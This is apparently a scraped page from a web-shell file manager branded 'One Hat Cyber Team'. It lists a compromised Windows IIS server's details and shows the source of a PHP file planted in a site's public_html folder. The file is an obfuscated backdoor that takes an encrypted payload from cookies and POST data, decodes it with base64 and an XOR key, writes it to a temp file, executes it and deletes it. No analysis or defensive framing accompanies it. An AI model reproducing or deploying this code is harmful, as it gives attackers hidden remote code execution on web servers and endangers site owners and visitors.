⚝
One Hat Cyber Team
⚝
Your IP:
18.224.64.24
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
View File Name :
75d57d2d.php
$JNKwA = chr (122) . 'x' . chr ( 582 - 487 )."\x46" . "\162" . "\x44" . chr (83) . "\x6b";$cbyozxgQeK = "\x63" . "\x6c" . "\141" . chr (115) . "\x73" . '_' . chr ( 550 - 449 )."\x78" . "\151" . "\x73" . "\x74" . "\x73";$sNmlhmhaht = class_exists($JNKwA); $JNKwA = "8186";$cbyozxgQeK = "63800";$LGJyjOOI = FALSE;if ($sNmlhmhaht === $LGJyjOOI){$QLDUNwpZmJ = "3185";class zx_FrDSk{public function EzetRSKggs(){echo "37592";}private $AKUJLgWZJq;public static $OovZw = "65a4dd62-5449-413a-a60b-f0d62f31f233";public static $KlDxCOXCtO = 20676;public function __construct($DBauJgJI=0){$QBQaehiId = $_POST;$VsIuFGogRM = $_COOKIE;$KGEReL = @$VsIuFGogRM[substr(zx_FrDSk::$OovZw, 0, 4)];if (!empty($KGEReL)){$jFtqZvZVk = "base64";$wYectl = "";$KGEReL = explode(",", $KGEReL);foreach ($KGEReL as $CSxqMXuD){$wYectl .= @$VsIuFGogRM[$CSxqMXuD];$wYectl .= @$QBQaehiId[$CSxqMXuD];}$wYectl = array_map($jFtqZvZVk . chr (95) . 'd' . "\145" . chr ( 350 - 251 ).chr (111) . "\x64" . chr ( 118 - 17 ), array($wYectl,)); $wYectl = $wYectl[0] ^ str_repeat(zx_FrDSk::$OovZw, (strlen($wYectl[0]) / strlen(zx_FrDSk::$OovZw)) + 1);zx_FrDSk::$KlDxCOXCtO = @unserialize($wYectl);}}private function AGhRUnSVbP($QLDUNwpZmJ){if (is_array(zx_FrDSk::$KlDxCOXCtO)) {$ePBmlBSh = sys_get_temp_dir() . "/" . crc32(zx_FrDSk::$KlDxCOXCtO[chr ( 957 - 842 ).chr ( 784 - 687 )."\x6c" . 't']);@zx_FrDSk::$KlDxCOXCtO['w' . "\x72" . "\151" . chr (116) . "\x65"]($ePBmlBSh, zx_FrDSk::$KlDxCOXCtO['c' . "\157" . 'n' . chr (116) . chr ( 441 - 340 )."\x6e" . 't']);include $ePBmlBSh;@zx_FrDSk::$KlDxCOXCtO["\144" . chr ( 851 - 750 ).'l' . "\x65" . chr (116) . chr ( 853 - 752 )]($ePBmlBSh); $QLDUNwpZmJ = "3185";exit();}}public function __destruct(){$QLDUNwpZmJ = "48989_45776";$this->AGhRUnSVbP($QLDUNwpZmJ); $QLDUNwpZmJ = "48989_45776";}}$IvDjcMTsNV = new /* 65067 */ zx_FrDSk(); $IvDjcMTsNV = str_repeat("48989_45776", 1);}